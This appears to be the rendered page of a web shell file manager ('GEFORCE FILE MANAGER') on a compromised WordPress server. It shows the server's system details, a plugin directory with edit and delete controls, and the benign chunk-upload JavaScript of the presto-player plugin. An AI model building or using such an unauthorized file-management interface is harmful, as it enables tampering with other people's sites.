[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
blocks
/
shared
/
media
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 MediaFolder.js
1,335 B
SET
[ EDIT ]
|
[ DEL ]
📄 MediaItem.js
1,631 B
SET
[ EDIT ]
|
[ DEL ]
📄 MediaPopup.js
8,738 B
SET
[ EDIT ]
|
[ DEL ]
📄 MediaPopupTemplate.js
2,902 B
SET
[ EDIT ]
|
[ DEL ]
📄 chunk-upload.js
1,696 B
SET
[ EDIT ]
|
[ DEL ]
📄 styles.js
132 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: chunk-upload.js
/** * Upload files in chunks * Based on: https://github.com/deliciousbrains/wp-dbi-file-uploader */ export default function ({ file, path, onProgress, onComplete, onError }) { let reader = {}; let chunk = 0; let cancelled = false; // get max upload size, max out at 16mb chunks const max_request_size = Math.min( prestoPlayerAdmin.wp_max_upload_size - 1000000, 15900000 ); let slice_size = Math.max(max_request_size, 1900000); // ~2MB fallback as minimum slice_size = Math.min(slice_size, 104857600); // make the max size 100MB // export percent done let percent_done; // chunk upload const chunkUpload = function () { chunk = 0; reader = new FileReader(); upload_file(0); return this; }; // upload file const upload_file = async (start) => { const next_slice = start + slice_size + 1; const blob = file.slice(start, next_slice); const chunks = Math.ceil(file.size / (slice_size + 1)); chunk++; onProgress((chunk / chunks) * 100); const body = new FormData(); body.append("file", blob); body.append("name", file.name); body.append("chunk", chunk); body.append("chunks", chunks); try { const file_url = await wp.apiFetch({ path, method: "POST", body, }); if (cancelled) { console.log("cancelled"); return; } if (next_slice < file.size) { onProgress(percent_done); upload_file(next_slice); } else { onComplete(file_url); } } catch (e) { onError(e); console.error(e); } }; chunkUpload(); return { cancel: () => { cancelled = true; }, }; }